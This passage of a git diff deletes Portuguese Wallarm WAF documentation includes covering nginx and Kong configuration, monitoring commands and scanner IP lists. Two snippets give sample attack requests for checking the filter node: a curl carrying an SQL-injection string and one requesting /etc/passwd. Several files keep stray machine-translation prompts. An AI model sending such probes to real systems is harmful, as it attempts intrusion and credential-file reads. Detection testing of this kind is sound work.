-data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - # Substitua abaixo pelo modo de filtragem de solicitações: - # desativado para desativar o processamento de solicitações - # monitorando para processar, mas não bloquear solicitações - # bloqueio seguro para bloquear apenas aquelas solicitações maliciosas originadas de IPs listados como cinzas - # bloquear para processar todas as solicitações e bloquear as maliciosas - wallarm_mode ; - # wallarm_application 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - # Substitua abaixo pelo número da porta - # na qual o contêiner aceita solicitações de entrada, - # o valor deve ser idêntico ao ports.containerPort - # na definição do seu contêiner de aplicativo principal - proxy_pass http://localhost:; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md b/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md deleted file mode 100644 index bee1ba8590..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md +++ /dev/null @@ -1,32 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - # Substitua abaixo pelo modo de filtragem de solicitações: - # 'off' para desabilitar o processamento de solicitações - # 'monitoring' para processar, mas não bloquear solicitações - # 'safe_blocking' para bloquear apenas as solicitações maliciosas originadas de IPs na lista cinza - # 'block' para processar todas as solicitações e bloquear as maliciosas - wallarm_mode ; - # wallarm_instance 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - # Substitua abaixo pelo número da porta - # na qual o contêiner aceita solicitações de entrada, - # o valor deve ser idêntico ao ports.containerPort - # na definição do seu contêiner de aplicativo principal - proxy_pass http://localhost:; - include proxy_params; - } - } -``` diff --git a/include-pt-BR/monitoring/collectd-config-location.md b/include-pt-BR/monitoring/collectd-config-location.md deleted file mode 100644 index f452f7d8ba..0000000000 --- a/include-pt-BR/monitoring/collectd-config-location.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Distribuições baseadas em DEB" - ```bash - /etc/collectd/wallarm-collectd.conf.d/nginx-wallarm.conf - ``` -=== "Distribuições baseadas em RPM" - ```bash - /etc/wallarm-collectd.d/nginx-wallarm.conf - ``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/collectd-nagios-fetch-metric-2.18.md b/include-pt-BR/monitoring/collectd-nagios-fetch-metric-2.18.md deleted file mode 100644 index 080d731c42..0000000000 --- a/include-pt-BR/monitoring/collectd-nagios-fetch-metric-2.18.md +++ /dev/null @@ -1,12 +0,0 @@ -Mantenha o tom de polidez da linguagem. Certifique-se de que o arquivo resultante tenha exatamente as mesmas URLs que o arquivo original: - -Traduza o seguinte artigo de documentação da Wallarm.com do inglês para o português brasileiro: - -=== "Linux" - ```bash - /usr/bin/collectd-nagios -s /var/run/collectd-unixsock -n -H - ``` -=== "Docker" - ```bash - docker exec /usr/bin/collectd-nagios -s /var/run/collectd-unixsock -n -H - ``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/collectd-nagios-fetch-metric.md b/include-pt-BR/monitoring/collectd-nagios-fetch-metric.md deleted file mode 100644 index 76800a3e9e..0000000000 --- a/include-pt-BR/monitoring/collectd-nagios-fetch-metric.md +++ /dev/null @@ -1,12 +0,0 @@ -Mantenha o tom de polidez da linguagem.Certifique-se de que o arquivo resultante tem exatamente as mesmas URLs que o arquivo original: - -Traduza o seguinte artigo de documentação da Wallarm.com do inglês para o português brasileiro: - -=== "Linux" - ```bash - /usr/bin/collectd-nagios -s /var/run/wallarm-collectd-unixsock -n -H - ``` -=== "Docker" - ```bash - docker exec /usr/bin/collectd-nagios -s /var/run/wallarm-collectd-unixsock -n -H - ``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/collectd-restart-2.16.md b/include-pt-BR/monitoring/collectd-restart-2.16.md deleted file mode 100644 index 507f07ef3a..0000000000 --- a/include-pt-BR/monitoring/collectd-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Ubuntu 14.04 LTS" - ```bash - sudo service collectd restart - ``` -=== "Outras distribuições suportadas" - ```bash - sudo systemctl restart collectd - ``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/docker-prerequisites.md b/include-pt-BR/monitoring/docker-prerequisites.md deleted file mode 100644 index 51d723ff9c..0000000000 --- a/include-pt-BR/monitoring/docker-prerequisites.md +++ /dev/null @@ -1,5 +0,0 @@ -!!! info "Pré-requisitos" - Supõe-se que - - * [Docker Community Edition](https://docs.docker.com/install/) e [`docker-compose`](https://docs.docker.com/compose/install/) já estão instalados no host Docker `10.0.30.30`. - * O nó de filtro `node.example.local` já foi implantado, configurado, disponível para futuras configurações (por exemplo, via protocolo SSH), e está funcionando. \ No newline at end of file diff --git a/include-pt-BR/monitoring/install-collectd-utils.md b/include-pt-BR/monitoring/install-collectd-utils.md deleted file mode 100644 index fe6c8695b3..0000000000 --- a/include-pt-BR/monitoring/install-collectd-utils.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Distribuições baseadas em DEB" - ```bash - sudo apt -y install --no-install-recommends collectd-utils - ``` -=== "Distribuições baseadas em RPM" - ```bash - sudo yum install -y collectd-utils - ``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/install-zabbix-agent.md b/include-pt-BR/monitoring/install-zabbix-agent.md deleted file mode 100644 index 25a0441166..0000000000 --- a/include-pt-BR/monitoring/install-zabbix-agent.md +++ /dev/null @@ -1,12 +0,0 @@ -Mantenha o tom de polidez da linguagem. Certifique-se de que o arquivo resultante tenha exatamente as mesmas URLs que o arquivo original: - -Traduza o seguinte artigo de documentação do Wallarm.com do inglês para o português brasileiro: - -=== "Distribuições baseadas em DEB" - ```bash - sudo apt -y install zabbix-agent - ``` -=== "Distribuições baseadas em RPM" - ```bash - sudo yum install -y zabbix-agent - ``` diff --git a/include-pt-BR/monitoring/metric-example.md b/include-pt-BR/monitoring/metric-example.md deleted file mode 100644 index 11109ca360..0000000000 --- a/include-pt-BR/monitoring/metric-example.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Exemplo de métrica" - Este exemplo mostra como trabalhar com a única métrica [`wallarm_nginx/gauge-abnormal`](../../admin-en/monitoring/available-metrics.md#number-of-requests), que mostra o número de solicitações processadas pelo nó de filtro. \ No newline at end of file diff --git a/include-pt-BR/monitoring/nagios-restart-2.16.md b/include-pt-BR/monitoring/nagios-restart-2.16.md deleted file mode 100644 index 01beaafb32..0000000000 --- a/include-pt-BR/monitoring/nagios-restart-2.16.md +++ /dev/null @@ -1,12 +0,0 @@ -Mantenha o tom de polidez da linguagem. Certifique-se de que o arquivo resultante tenha exatamente as mesmas URLs que o arquivo original: - -Traduza o seguinte artigo de documentação do Wallarm.com do inglês para o português brasileiro: - -=== "Ubuntu 14.04" - ```bash - sudo service nagios restart - ``` -=== "Outras distribuições suportadas" - ```bash - sudo systemctl restart nagios - ``` diff --git a/include-pt-BR/monitoring/notification-config-location.md b/include-pt-BR/monitoring/notification-config-location.md deleted file mode 100644 index cd24ce0343..0000000000 --- a/include-pt-BR/monitoring/notification-config-location.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Distribuições baseadas em DEB" - ```bash - /etc/collectd/conf.d/traps.conf - ``` -=== "Distribuições baseadas em RPM" - ```bash - /etc/collectd.d/traps.conf - ``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/nrpe-restart-2.16.md b/include-pt-BR/monitoring/nrpe-restart-2.16.md deleted file mode 100644 index d1d9661ac2..0000000000 --- a/include-pt-BR/monitoring/nrpe-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Ubuntu 14.04" - ```bash - sudo service nrpe restart - ``` -=== "Outras distribuições suportadas" - ```bash - sudo systemctl restart nrpe - ``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/sample-malicious-request-for-deprecated.md b/include-pt-BR/monitoring/sample-malicious-request-for-deprecated.md deleted file mode 100644 index 8a52366b8e..0000000000 --- a/include-pt-BR/monitoring/sample-malicious-request-for-deprecated.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "Exemplo" - ``` bash - curl -I “http://node.exemplo.local/?id='or+1=1--a-'” - ``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/sample-malicious-request.md b/include-pt-BR/monitoring/sample-malicious-request.md deleted file mode 100644 index 4ecb845a03..0000000000 --- a/include-pt-BR/monitoring/sample-malicious-request.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "Exemplo" - ``` bash - curl -I http://node.example.local/etc/passwd - ``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/tarantool-config-location.md b/include-pt-BR/monitoring/tarantool-config-location.md deleted file mode 100644 index 55336e177a..0000000000 --- a/include-pt-BR/monitoring/tarantool-config-location.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Distribuições baseadas em DEB" - ```bash - /etc/collectd/collectd.conf.d/wallarm-tarantool.conf - ``` -=== "Distribuições baseadas em RPM" - ```bash - /etc/collectd.d/wallarm-tarantool.conf - ``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/wallarm-status-check-latest.md b/include-pt-BR/monitoring/wallarm-status-check-latest.md deleted file mode 100644 index e148aa6aff..0000000000 --- a/include-pt-BR/monitoring/wallarm-status-check-latest.md +++ /dev/null @@ -1,6 +0,0 @@ -1. Execute o comando `curl http://127.0.0.8/wallarm-status` se a configuração padrão do serviço de estatísticas estiver em uso. -2. Caso contrário, consulte o arquivo de configuração `/etc/nginx/conf.d/wallarm-status.conf` para construir o comando correto semelhante ao acima. - -``` -{"requests":0,"attacks":0,"blocked":0,"abnormal":0,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/wallarm-status-check-padded-latest.md b/include-pt-BR/monitoring/wallarm-status-check-padded-latest.md deleted file mode 100644 index 49247caf11..0000000000 --- a/include-pt-BR/monitoring/wallarm-status-check-padded-latest.md +++ /dev/null @@ -1,5 +0,0 @@ -1. Execute o comando `curl http://127.0.0.8/wallarm-status` se a configuração padrão do serviço de estatísticas estiver em uso. -2. Caso contrário, consulte o arquivo de configuração `/etc/nginx/conf.d/wallarm-status.conf` para construir o comando correto semelhante ao acima. -``` -{"solicitações":64,"ataques":16,"bloqueados":0,"anormais":64,"erros_tnt":0,"erros_api":0,"solicitações_perdidas":0,"falhas_segmentação":0,"falhas_memória":0,"falhas_memória_leve":0,"tempo_deteção":0,"id_bd":46,"id_regras_personalizadas":4,"instâncias_proton": { "total":2,"sucesso":2,"alternativa":0,"falhas":0 },"contagem_trabalhadores_parados":0,"trabalhadores_parados":[] } -``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/wallarm-status-check-padded.md b/include-pt-BR/monitoring/wallarm-status-check-padded.md deleted file mode 100644 index bd5ce2f56b..0000000000 --- a/include-pt-BR/monitoring/wallarm-status-check-padded.md +++ /dev/null @@ -1,5 +0,0 @@ -1. Execute o comando `curl http://127.0.0.8/wallarm-status` se a configuração padrão do serviço de estatísticas estiver em uso. -2. Caso contrário, consulte o arquivo de configuração `/etc/nginx/conf.d/wallarm-status.conf` para construir o comando correto semelhante ao acima. -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": {"total":2,"success":2,"fallback":0,"failed":0},"stalled_workers_count":0,"stalled_workers":[]} -``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/wallarm-status-check.md b/include-pt-BR/monitoring/wallarm-status-check.md deleted file mode 100644 index 2672808694..0000000000 --- a/include-pt-BR/monitoring/wallarm-status-check.md +++ /dev/null @@ -1,6 +0,0 @@ -1. Execute o comando `curl http://127.0.0.8/wallarm-status` se a configuração padrão do serviço de estatísticas estiver em uso. -2. Caso contrário, consulte o arquivo de configuração `/etc/nginx/conf.d/wallarm-status.conf` para construir o comando correto semelhante ao acima. - -``` -{"requests":0,"attacks":0,"blocked":0,"abnormal":0,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/wallarm-status-output-latest.md b/include-pt-BR/monitoring/wallarm-status-output-latest.md deleted file mode 100644 index f6a868dfa5..0000000000 --- a/include-pt-BR/monitoring/wallarm-status-output-latest.md +++ /dev/null @@ -1,3 +0,0 @@ -``` -{"pedidos":64,"ataques":16,"bloqueado":0,"anormal":64,"erros_tnt":0,"erros_api":0,"pedidos_perdidos":0,"falhas_segmento":0,"falhas_memoria":0,"falhas_memoria_soft":0,"tempo_deteccao":0,"db_id":46,"id_conjunto_regras_personalizado":4,"instancias_proton": { "total":2,"sucesso":2,"fallback":0,"falha":0 },"contagem_trabalhadores_parados":0,"trabalhadores_parados":[] } -``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/wallarm-status-output-padded-latest.md b/include-pt-BR/monitoring/wallarm-status-output-padded-latest.md deleted file mode 100644 index f6a868dfa5..0000000000 --- a/include-pt-BR/monitoring/wallarm-status-output-padded-latest.md +++ /dev/null @@ -1,3 +0,0 @@ -``` -{"pedidos":64,"ataques":16,"bloqueado":0,"anormal":64,"erros_tnt":0,"erros_api":0,"pedidos_perdidos":0,"falhas_segmento":0,"falhas_memoria":0,"falhas_memoria_soft":0,"tempo_deteccao":0,"db_id":46,"id_conjunto_regras_personalizado":4,"instancias_proton": { "total":2,"sucesso":2,"fallback":0,"falha":0 },"contagem_trabalhadores_parados":0,"trabalhadores_parados":[] } -``` \ No newline at end of file diff --git a/include-pt-BR/monitoring/wallarm-status-output-padded.md b/include-pt-BR/monitoring/wallarm-status-output-padded.md deleted file mode 100644 index 82fe307588..0000000000 --- a/include-pt-BR/monitoring/wallarm-status-output-padded.md +++ /dev/null @@ -1,3 +0,0 @@ -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` diff --git a/include-pt-BR/monitoring/wallarm-status-output.md b/include-pt-BR/monitoring/wallarm-status-output.md deleted file mode 100644 index 82fe307588..0000000000 --- a/include-pt-BR/monitoring/wallarm-status-output.md +++ /dev/null @@ -1,3 +0,0 @@ -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` diff --git a/include-pt-BR/monitoring/zabbix-agent-restart-2.16.md b/include-pt-BR/monitoring/zabbix-agent-restart-2.16.md deleted file mode 100644 index fd404c566a..0000000000 --- a/include-pt-BR/monitoring/zabbix-agent-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Ubuntu 14.04" - ```bash - sudo service zabbix-agent restart - ``` -=== "Outras distribuições suportadas" - ```bash - sudo systemctl restart zabbix-agent - ``` \ No newline at end of file diff --git a/include-pt-BR/node-cloud-sync-configuration-example.md b/include-pt-BR/node-cloud-sync-configuration-example.md deleted file mode 100644 index c936cb4b05..0000000000 --- a/include-pt-BR/node-cloud-sync-configuration-example.md +++ /dev/null @@ -1,17 +0,0 @@ -Exemplo do conteúdo válido do `node.yaml`: - -```bash -hostname: exemplo-nome-do-nó -uuid: ea1xa0xe-xxxx-42a0-xxxx-b1b446xxxxxx -secret: b827axxxxxxxxxxxcbe45c855c71389a2a5564920xxxxxxxxxxxxxxxxxxc4613260 - -api: - host: api.wallarm.com - port: 443 - ca_verify: true - -syncnode: - owner: root - group: wallarm - mode: 0640 -``` \ No newline at end of file diff --git a/include-pt-BR/prereq-en.md b/include-pt-BR/prereq-en.md deleted file mode 100644 index cec4fd1f14..0000000000 --- a/include-pt-BR/prereq-en.md +++ /dev/null @@ -1,5 +0,0 @@ -Pré-requisitos para a instalação do Wallarm: - -* Sistema operacional suportado. -* Acesso root. -* Conta Wallarm no portal Wallarm na nuvem [EUA](https://us1.my.wallarm.com) ou [UE](https://my.wallarm.com). \ No newline at end of file diff --git a/include-pt-BR/rechecker-ip-us.md b/include-pt-BR/rechecker-ip-us.md deleted file mode 100644 index 75444e0431..0000000000 --- a/include-pt-BR/rechecker-ip-us.md +++ /dev/null @@ -1,14 +0,0 @@ -* 34.94.100.64 -* 35.235.101.133 -* 34.94.16.235 -* 35.236.51.79 -* 35.236.55.214 -* 35.236.127.211 -* 35.236.126.84 -* 35.236.3.158 -* 34.94.218.5 -* 34.94.203.193 -* 34.94.238.221 -* 35.236.118.146 -* 35.236.1.4 -* 35.236.20.89 \ No newline at end of file diff --git a/include-pt-BR/scanner-allowlist-warning.md b/include-pt-BR/scanner-allowlist-warning.md deleted file mode 100644 index f4eaf7c307..0000000000 --- a/include-pt-BR/scanner-allowlist-warning.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! aviso "Desactive o Bloqueio dos Endereços IP do Scanner Wallarm" - Note que se você usar o modo de bloqueio por padrão (`default block;`) ao detectar solicitações maliciosas, você deve especificar explicitamente para o scanner Wallarm uma lista de endereços IP dos quais as solicitações não devem ser bloqueadas. - - Você pode ler mais sobre como desativar o modo de bloqueio para endereços IP do scanner [aqui](scanner-ips-allowlisting.md). \ No newline at end of file diff --git a/include-pt-BR/scanner-ip-request-us.md b/include-pt-BR/scanner-ip-request-us.md deleted file mode 100644 index e365e30572..0000000000 --- a/include-pt-BR/scanner-ip-request-us.md +++ /dev/null @@ -1,34 +0,0 @@ -* 192.155.80.80 -* 192.155.80.95 -* 23.239.21.160 -* 50.116.14.31 -* 139.162.137.47 -* 192.155.81.166 -* 192.155.81.173 -* 192.155.81.185 -* 192.155.81.193 -* 192.155.81.195 -* 192.155.81.201 -* 192.155.81.204 -* 192.155.81.205 -* 192.155.81.210 -* 192.155.81.220 -* 192.155.81.32 -* 192.155.81.39 -* 192.155.81.62 -* 192.155.81.97 -* 23.239.21.250 -* 45.33.63.36 -* 45.79.100.119 -* 45.79.100.174 -* 45.79.100.81 -* 45.79.73.64 -* 45.79.74.89 -* 50.116.12.25 -* 50.116.2.193 -* 50.116.2.228 -* 74.207.253.161 -* 74.207.253.65 -* 173.230.150.9 -* 173.230.150.13 -* 173.230.150.14 \ No newline at end of file diff --git a/include-pt-BR/scanner-ip-request.md b/include-pt-BR/scanner-ip-request.md deleted file mode 100644 index 5d8c2c68d7..0000000000 --- a/include-pt-BR/scanner-ip-request.md +++ /dev/null @@ -1,16 +0,0 @@ -* 213.52.130.153 -* 213.52.130.179 -* 213.52.130.185 -* 213.52.130.198 -* 176.58.99.214 -* 212.71.244.128 -* 212.71.244.92 -* 178.79.168.193 -* 178.79.168.239 -* 178.79.168.200 -* 178.79.168.201 -* 178.79.168.241 -* 178.79.168.186 -* 85.159.208.25 -* 139.162.220.5 -* 212.71.252.245 \ No newline at end of file diff --git a/include-pt-BR/setup-filter-kong-en-latest.md b/include-pt-BR/setup-filter-kong-en-latest.md deleted file mode 100644 index 8b74f13f93..0000000000 --- a/include-pt-BR/setup-filter-kong-en-latest.md +++ /dev/null @@ -1,41 +0,0 @@ -As regras de filtragem e proxy são configuradas no arquivo `/etc/kong/nginx-wallarm.template`. - -Para ver informações detalhadas sobre como trabalhar com os arquivos de configuração do NGINX, vá para a [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). - -As diretrizes do Wallarm definem a lógica de operação do nó de filtragem do Wallarm. Para ver a lista de diretrizes do Wallarm disponíveis, vá para a página de [opções de configuração do Wallarm](../admin-en/configure-parameters-en.md). - -**Exemplo de arquivo de configuração** - -Vamos supor que você precisa configurar o servidor para trabalhar nas seguintes condições: -* Apenas o tráfego HTTP é processado. Não há solicitações HTTPS sendo processadas. -* Os seguintes domínios recebem as solicitações: `example.com` e `www.example.com`. -* Todas as solicitações devem ser direcionadas para o servidor `10.80.0.5`. -* Todas as solicitações recebidas são consideradas menores que 1MB em tamanho (configuração padrão). -* O processamento de uma solicitação não deve demorar mais do que 60 segundos (configuração padrão). -* O Wallarm deve operar no modo de monitoramento. -* Os clientes acessam o nó de filtragem diretamente, sem um balanceador de carga HTTP intermediário. - -Para atender às condições listadas, o conteúdo do arquivo de configuração deve ser o seguinte: - -``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - # os domínios para os quais o tráfego é processado - server_name example.com; - server_name www.example.com; - - # ativar o modo de monitoramento do processamento de tráfego - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - # definir o endereço para o encaminhamento da solicitação - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } -``` \ No newline at end of file diff --git a/include-pt-BR/setup-filter-kong-en.md b/include-pt-BR/setup-filter-kong-en.md deleted file mode 100644 index 000b5ad5bc..0000000000 --- a/include-pt-BR/setup-filter-kong-en.md +++ /dev/null @@ -1,43 +0,0 @@ -As regras de filtragem e proxy são configuradas no arquivo `/etc/kong/nginx-wallarm.template`. - -Para ver informações detalhadas sobre como trabalhar com arquivos de configuração do NGINX, prossiga para a [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). - -As diretrizes do Wallarm definem a lógica de operação do nó de filtragem do Wallarm. Para ver a lista de diretivas Wallarm disponíveis, prossiga para a página de [opções de configuração do Wallarm](../admin-en/configure-parameters-en.md). - -**Exemplo de arquivo de configuração** - -Vamos supor que você precise configurar o servidor para funcionar nas seguintes condições: -* Apenas o tráfego HTTP é processado. Não há solicitações HTTPS processadas. -* Os seguintes domínios recebem as solicitações: `example.com` e `www.example.com`. -* Todas as solicitações devem ser encaminhadas para o servidor `10.80.0.5`. -* Todas as solicitações recebidas são consideradas menores que 1MB em tamanho (configuração padrão). -* O processamento de uma solicitação não demora mais de 60 segundos (configuração padrão). -* O Wallarm deve operar no modo de monitoramento. -* Os clientes acessam o nó de filtragem diretamente, sem um balanceador de carga HTTP intermediário. - -Para atender as condições listadas, o conteúdo do arquivo de configuração deve ser o seguinte: - -``` - - server { - listen 80; - listen [::]:80 ipv6only=on; - - # os domínios para os quais o tráfego é processado - server_name example.com; - server_name www.example.com; - - # ativar o modo de monitoramento do processamento de tráfego - wallarm_mode monitoring; - # wallarm_instance 1; - - location / { - # definindo o endereço para o encaminhamento de solicitações - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } - -``` \ No newline at end of file diff --git a/include-pt-BR/setup-filter-nginx-en-latest.md b/include-pt-BR/setup-filter-nginx-en-latest.md deleted file mode 100644 index 43bf9ebc15..0000000000 --- a/include-pt-BR/setup-filter-nginx-en-latest.md +++ /dev/null @@ -1,54 +0,0 @@ -Os seguintes arquivos contêm as configurações do NGINX e do nó de filtragem: - -* `/etc/nginx/nginx.conf` define a configuração do NGINX -* `/etc/nginx/conf.d/wallarm.conf` define a configuração global do nó de filtragem Wallarm -* `/etc/nginx/conf.d/wallarm-status.conf` define a configuração do serviço de monitoramento do nó de filtragem - -Você pode criar seus próprios arquivos de configuração para definir o funcionamento do NGINX e do Wallarm. Recomenda-se criar um arquivo de configuração separado com o bloco `server` para cada grupo de domínios que devem ser processados da mesma forma. - -Para ver informações detalhadas sobre como trabalhar com os arquivos de configuração do NGINX, consulte a [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). - -As diretivas Wallarm definem a lógica de funcionamento do nó de filtragem do Wallarm. Para ver a lista de diretivas Wallarm disponíveis, consulte a página [Opções de configuração do Wallarm](configure-parameters-en.md). - -**Exemplo de arquivo de configuração** - -Vamos supor que você precise configurar o servidor para trabalhar nas seguintes condições: -* Apenas o tráfego HTTP é processado. Não há pedidos HTTPS processados. -* Os seguintes domínios recebem os pedidos: `example.com` e `www.example.com`. -* Todas as solicitações devem ser passadas para o servidor `10.80.0.5`. -* Todos os pedidos recebidos são considerados menores que 1MB em tamanho (configuração padrão). -* O processamento de uma solicitação não leva mais que 60 segundos (configuração padrão). -* Wallarm deve operar no modo de monitoramento. -* Os clientes acessam o nó de filtragem diretamente, sem um balanceador de carga HTTP intermediário. - -!!! info "Criando um arquivo de configuração" - Você pode criar um arquivo de configuração NGINX personalizado (por exemplo, `example.com.conf`) ou modificar o arquivo de configuração NGINX padrão (`default.conf`). - - Ao criar um arquivo de configuração personalizado, certifique-se de que o NGINX ouça as conexões de entrada na porta livre. - -Para atender as condições listadas, o conteúdo do arquivo de configuração deve ser o seguinte: - -``` - - server { - listen 80; - listen [::]:80 ipv6only=on; - - # os domínios para os quais o tráfego é processado - server_name example.com; - server_name www.example.com; - - # ligar o modo de monitoramento do processamento de tráfego - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - # definindo o endereço para o encaminhamento de solicitações - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } - -``` \ No newline at end of file diff --git a/include-pt-BR/setup-filter-nginx-en.md b/include-pt-BR/setup-filter-nginx-en.md deleted file mode 100644 index 2b48aa47d6..0000000000 --- a/include-pt-BR/setup-filter-nginx-en.md +++ /dev/null @@ -1,56 +0,0 @@ -Os seguintes arquivos contêm as configurações do NGINX e do nó de filtragem: - -* `/etc/nginx/nginx.conf` define a configuração do NGINX -* `/etc/nginx/conf.d/wallarm.conf` define a configuração global do nó de filtragem Wallarm -* `/etc/nginx/conf.d/wallarm-status.conf` define a configuração do serviço de monitoramento do nó de filtragem - -Você pode criar seus próprios arquivos de configuração para definir a operação do NGINX e Wallarm. É recomendável criar um arquivo de configuração separado com o bloco `server` para cada grupo de domínios que devem ser processados da mesma maneira. - -Para ver informações detalhadas sobre o trabalho com arquivos de configuração do NGINX, consulte a [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). - -As diretivas Wallarm definem a lógica de operação do nó de filtragem Wallarm. Para ver a lista de diretivas Wallarm disponíveis, consulte a página de [opções de configuração do Wallarm](configure-parameters-en.md). - -**Exemplo de arquivo de configuração** - -Suponha que você precise configurar o servidor para trabalhar nas seguintes condições: - -* Somente o tráfego HTTP é processado. Não há pedidos HTTPS processados. -* Os seguintes domínios recebem os pedidos: `example.com` e `www.example.com`. -* Todos os pedidos devem ser passados para o servidor `10.80.0.5`. -* Todos os pedidos de entrada são considerados com menos de 1MB de tamanho (configuração padrão). -* O processamento de um pedido não demora mais do que 60 segundos (configuração padrão). -* Wallarm deve operar no modo de monitoramento. -* Os clientes acessam o nó de filtragem diretamente, sem um balanceador de carga HTTP intermediário. - -!!! info "Criando um arquivo de configuração" - Você pode criar um arquivo de configuração NGINX personalizado (por exemplo, `example.com.conf`) ou modificar o arquivo de configuração NGINX padrão (`default.conf`). - - Ao criar um arquivo de configuração personalizado, certifique-se de que o NGINX escute as conexões de entrada na porta livre. - - -Para atender às condições listadas, o conteúdo do arquivo de configuração deve ser o seguinte: - -``` - - server { - listen 80; - listen [::]:80 ipv6only=on; - - # os domínios para os quais o tráfego é processado - server_name example.com; - server_name www.example.com; - - # ligar o modo de monitoração do processamento de tráfego - wallarm_mode monitoring; - # wallarm_instance 1; - - location / { - # definindo o endereço para encaminhamento de requisições - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } - -``` \ No newline at end of file diff --git a/include-pt-BR/setup-proxy.md b/include-pt-BR/setup-proxy.md deleted file mode 100644 index 68c5a908b5..0000000000 --- a/include-pt-BR/setup-proxy.md +++ /dev/null @@ -1,34 +0,0 @@ -!!! info - Esta etapa de configuração é destinada a usuários que usam seu próprio servidor proxy para a operação das aplicações web protegidas. - - Se você não usa um servidor proxy, ignore esta etapa da configuração. - -Você precisa atribuir novos valores às variáveis de ambiente, que definem o servidor proxy usado, para configurar o nó Wallarm para usar seu servidor proxy. - -Adicione novos valores das variáveis de ambiente ao arquivo `/etc/environment`: -* Adicione `https_proxy` para definir um proxy para o protocolo https. -* Adicione `http_proxy` para definir um proxy para o protocolo http. -* Adicione `no_proxy` para definir a lista de recursos que o proxy não deve ser usado. - -Atribua os valores de string `://:@:` às variáveis `https_proxy` e `http_proxy`. -* `` define o protocolo usado. Deve corresponder ao protocolo que a variável de ambiente atual configura o proxy. -* `` define o nome de usuário para autorização do proxy. -* `` define a senha para autorização do proxy. -* `` define um host do servidor proxy. -* `` define uma porta do servidor proxy. - -Atribua um valor de array `", , , , ..."` onde ``, ``, ``, e `` são os endereços IP e/ou domínios, à variável `no_proxy` para definir uma lista de recursos que o proxy não deve ser usado. Este array deve consistir de endereços IP e/ou domínios. - -!!! warning "Recursos que precisam ser acessados sem um proxy" - Adicione os seguintes endereços IP e domínio à lista de recursos 